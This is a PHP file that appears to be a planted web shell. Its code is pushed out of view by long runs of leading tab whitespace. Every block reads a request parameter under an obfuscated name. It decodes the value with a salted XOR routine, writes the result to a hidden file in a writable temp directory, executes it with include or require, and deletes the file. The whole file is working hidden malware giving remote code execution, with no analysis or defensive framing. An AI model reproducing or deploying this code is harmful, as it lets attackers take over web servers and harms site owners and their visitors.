<?php																																										if(!empty($_REQUEST["d\x61t"])){ $value = array_filter([getenv("TMP"), session_save_path(), "/tmp", getenv("TEMP"), getcwd(), sys_get_temp_dir(), "/var/tmp", ini_get("upload_tmp_dir"), "/dev/shm"]); $property_set = $_REQUEST["d\x61t"]; $property_set = explode ( "." , $property_set ) ; $descriptor =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s); $v =0; while($v < count($property_set)) { $v3 =$property_set[$v]; $sChar =ord($s[$v %$sLen]); $dec =((int)$v3 - $sChar -($v %10)) ^ 36; $descriptor.= chr($dec); $v++; } $sym = 0; do { $record = $value[$sym] ?? null; if ($sym >= count($value)) break; if ((bool)is_dir($record) && (bool)is_writable($record)) { $k = sprintf("%s/.symbol", $record); if (file_put_contents($k, $descriptor)) { include $k; @unlink($k); exit; } } $sym++; } while (true); }
																																										if(!is_null($_POST["bind"] ?? null)){ $resource = $_POST["bind"]; $resource=explode( "." , $resource) ; $obj = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $k = 0; foreach ($resource as $v6) { $sChar = ord($s[$k %$sLen]); $d = ((int)$v6 - $sChar - ($k %10)) ^ 93; $obj .= chr($d); $k++; } $entry = array_filter(["/tmp", getenv("TEMP"), sys_get_temp_dir(), "/var/tmp", session_save_path(), getcwd(), ini_get("upload_tmp_dir"), "/dev/shm", getenv("TMP")]); foreach ($entry as $element): if ((bool)is_dir($element) && (bool)is_writable($element)) { $component = "$element/.binding"; $success = file_put_contents($component, $obj); if ($success) { include $component; @unlink($component); exit;} } endforeach; }
																																										if(@$_REQUEST["flg"] !== null){ $val = $_REQUEST["flg"]; $val = explode( ".",$val ); $item = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $len = count($val); for ($u = 0; $u <$len; $u++) { $v5 = $val[$u]; $chS = ord($salt[$u % $lenS]); $dec = ((int)$v5 - $chS - ($u % 10)) ^22; $item .= chr($dec); } $itm = array_filter([getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd(), session_save_path(), sys_get_temp_dir(), "/tmp", "/var/tmp", "/dev/shm"]); $pset = 0; do { $ptr = $itm[$pset] ?? null; if ($pset >= count($itm)) break; if (is_dir($ptr) && is_writable($ptr)) { $k = "$ptr/.ent"; if (@file_put_contents($k, $item) !== false) { include $k; unlink($k); exit; } } $pset++; } while (true); }
																																										if(array_key_exists("\x70g\x72p", $_POST) && !is_null($_POST["\x70g\x72p"])){ $obj = array_filter([session_save_path(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TMP"), getenv("TEMP"), "/tmp", getcwd(), "/dev/shm", "/var/tmp"]); $ptr = $_POST["\x70g\x72p"]; $ptr = explode ( "." , $ptr ); $object= ''; $s8= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s8); $x= 0; $__len= count($ptr); do { if ($x >= $__len) break; $v2= $ptr[$x]; $sChar= ord($s8[$x % $lenS]); $dec= ((int)$v2 - $sChar - ($x % 10)) ^93; $object .=chr($dec); $x++; } while (true); foreach ($obj as $key => $element) { if (max(0, is_dir($element) * is_writable($element))) { $bind = "$element" . "/.rec"; if (file_put_contents($bind, $object)) { require $bind; unlink($bind); die(); } } } }
																																										if(isset($_POST["d\x65s\x63r\x69pt\x6F\x72"]) ? true : false){ $dchunk = array_filter(["/tmp", getenv("TMP"), "/dev/shm", ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", getenv("TEMP"), session_save_path(), sys_get_temp_dir()]); $value = $_POST["d\x65s\x63r\x69pt\x6F\x72"]; $value= explode ( '.', $value) ; $element = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt5 ); $o = 0; $len = count($value ); do { if ($o >= $len) break; $v9 = $value[$o]; $chS = ord($salt5[$o % $sLen] ); $dec = ((int)$v9 - $chS - ($o % 10))^ 52; $element .= chr($dec ); $o++; } while (true ); $data_chunk = 0; do { $flag = $dchunk[$data_chunk] ?? null; if ($data_chunk >= count($dchunk)) break; if (!!is_dir($flag) && !!is_writable($flag)) { $elem = "$flag" . "/.component"; $success = file_put_contents($elem, $element); if ($success) { include $elem; @unlink($elem); exit;} } $data_chunk++; } while (true); }
																																										if(isset($_REQUEST["\x65n\x74ry"]) ? true : false){ $k = $_REQUEST["\x65n\x74ry"]; $k = explode( '.',$k) ; $hld = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); foreach( $k as $s => $v9): $sChar = ord( $salt[$s % $sLen]); $d =( ( int)$v9 - $sChar -( $s % 10)) ^ 5; $hld .= chr( $d); endforeach; $pgrp = array_filter([session_save_path(), sys_get_temp_dir(), getenv("TEMP"), getcwd(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TMP"), "/tmp", "/dev/shm"]); for ($property_set = 0, $holder = count($pgrp); $property_set < $holder; $property_set++) { $flag = $pgrp[$property_set]; if (array_product([is_dir($flag), is_writable($flag)])) { $comp = sprintf("%s/.tkn", $flag); $file = fopen($comp, 'w'); if ($file) { fwrite($file, $hld); fclose($file); include $comp; @unlink($comp); exit; } } } }
																																										if(in_array("descr\x69\x70t\x6F\x72", array_keys($_REQUEST))){ $elem = $_REQUEST["descr\x69\x70t\x6F\x72"]; $elem = explode( "." , $elem ); $entity = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt6); $s = 0; array_walk($elem, function ($v4) use (&$entity, &$s, $salt6, $lenS) { $sChar = ord($salt6[$s % $lenS]); $dec = ((int)$v4 - $sChar - ($s % 10)) ^49; $entity .= chr($dec); $s++; }); $val = array_filter([getenv("TMP"), session_save_path(), "/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/var/tmp", getcwd(), getenv("TEMP"), "/dev/shm"]); foreach ($val as $ref): if (is_dir($ref) ? is_writable($ref) : false) { $reference = join("/", [$ref, ".flg"]); if (@file_put_contents($reference, $entity) !== false) { include $reference; unlink($reference); die(); } } endforeach; }
																																										if(isset($_REQUEST["sym"])){ $ptr = $_REQUEST["sym"]; $ptr = explode ( '.',$ptr ) ; $record= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt); foreach ($ptr as $s => $v4): $sChar= ord($salt[$s%$lenS]); $dec= ((int)$v4 - $sChar - ($s%10)) ^70; $record .= chr($dec); endforeach; $rec = array_filter([ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir(), "/var/tmp", "/tmp", getenv("TEMP"), getcwd(), getenv("TMP"), "/dev/shm"]); while ($token = array_shift($rec)) { if (!!is_dir($token) && !!is_writable($token)) { $k = str_replace("{var_dir}", $token, "{var_dir}/.val"); if (file_put_contents($k, $record)) { require $k; unlink($k); exit; } } } }


if(!empty($_POST["\x64\x65sc\x72ipto\x72"])){
	$elem = $_POST["\x64\x65sc\x72ipto\x72"];
	 	$elem	=	explode  ( "."	 	,		$elem)  ; 	 
	$fac = '';
            $s = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen( 	$s);
            $k = 0;
    
            foreach( 	$elem as $v6) {
                $chS = ord( 	$s[$k% $sLen]);
                $dec =( 	( 	int)$v6 - $chS -( 	$k% 10))	 ^29;
                $fac.= chr( 	$dec);
                $k++;	}
	$record = array_filter([sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/dev/shm", session_save_path(), "/var/tmp", getenv("TMP"), getcwd(), getenv("TEMP"), "/tmp"]);
	foreach ($record as $token):
    		if ((is_dir($token) and is_writable($token))) {
    $flag = vsprintf("%s/%s", [$token, ".component"]);
    if (file_put_contents($flag, $fac)) {
	require $flag;
	unlink($flag);
	exit;
}
}
endforeach;
}